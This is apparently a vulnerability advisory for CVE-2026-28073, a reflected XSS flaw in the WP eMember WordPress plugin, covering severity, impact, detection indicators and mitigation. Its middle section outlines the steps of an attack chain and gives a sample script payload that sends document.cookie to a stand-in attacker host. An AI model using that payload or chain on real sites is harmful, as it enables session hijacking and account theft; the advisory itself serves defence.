CVE-2026-28073: 
WordPress vulnerability analysis and mitigation

CVE-2026-28073 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WP eMember WordPress plugin by Tips and Tricks HQ. It affects all versions of WP eMember through v10.2.2 and was discovered by Tran Nguyen Bao Khanh (VCI - VNPT Cyber Immunity) on September 12, 2025, with public disclosure on March 2–19, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. Insufficient sanitization of user-supplied input allows an attacker to craft a malicious URL containing a JavaScript payload that, when rendered by the victim's browser, executes in the context of the affected WordPress site. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged or regular user must click a crafted link or visit a malicious page (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the victim's browser session within the context of the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, redirection to malicious sites, or defacement of web content visible to the victim. Because the scope is changed (S:C in the CVSS vector), the impact extends beyond the vulnerable component itself, potentially affecting other browser-accessible resources (Patchstack).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-28073 as of the time of this report. The EPSS score is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running WP eMember plugin version v10.2.2 or earlier using tools like WPScan, Shodan, or Google dorks targeting plugin-specific paths.
2. Identify vulnerable parameter: Locate the input parameter(s) in WP eMember that are reflected in the HTTP response without proper sanitization (e.g., query string parameters in plugin-generated pages).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as https://target-site.com/wp-emember-page?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link and their browser renders the response, the injected script executes — enabling session cookie theft, credential harvesting, or unauthorized actions on the WordPress site (Patchstack).

• Network: Unusual outbound HTTP requests from victim browsers to unknown external domains shortly after visiting WP eMember plugin pages; requests containing encoded JavaScript payloads in URL query parameters targeting WP eMember plugin endpoints.
• Logs: WordPress access logs showing GET/POST requests to WP eMember plugin URLs with suspicious URL-encoded characters (e.g., %3Cscript%3E, %3C%2Fscript%3E, javascript:) in query string parameters.
• Browser/Session: Unexpected session invalidation or new admin sessions created without corresponding login events; reports from users of being redirected to external sites after clicking links related to the WordPress site.

As of the disclosure date, no official patch from the plugin developer (Tips and Tricks HQ) was available for WP eMember. Patchstack has issued a virtual patching/mitigation rule for its subscribers to block exploitation attempts until an official fix is released. Site administrators should update WP eMember to any version beyond v10.2.2 once a patched release becomes available, or temporarily disable the plugin if it is not critical to site operations. Deploying a Web Application Firewall (WAF) with XSS filtering rules is recommended as an interim measure (Patchstack).

The vulnerability was credited to researcher Tran Nguyen Bao Khanh of VCI - VNPT Cyber Immunity, who reported it to Patchstack on September 12, 2025. Patchstack classified it as medium priority and noted its potential for use in mass-exploit campaigns targeting WordPress sites. No significant broader media coverage or notable social media discussion beyond standard vulnerability aggregator postings has been identified (Patchstack).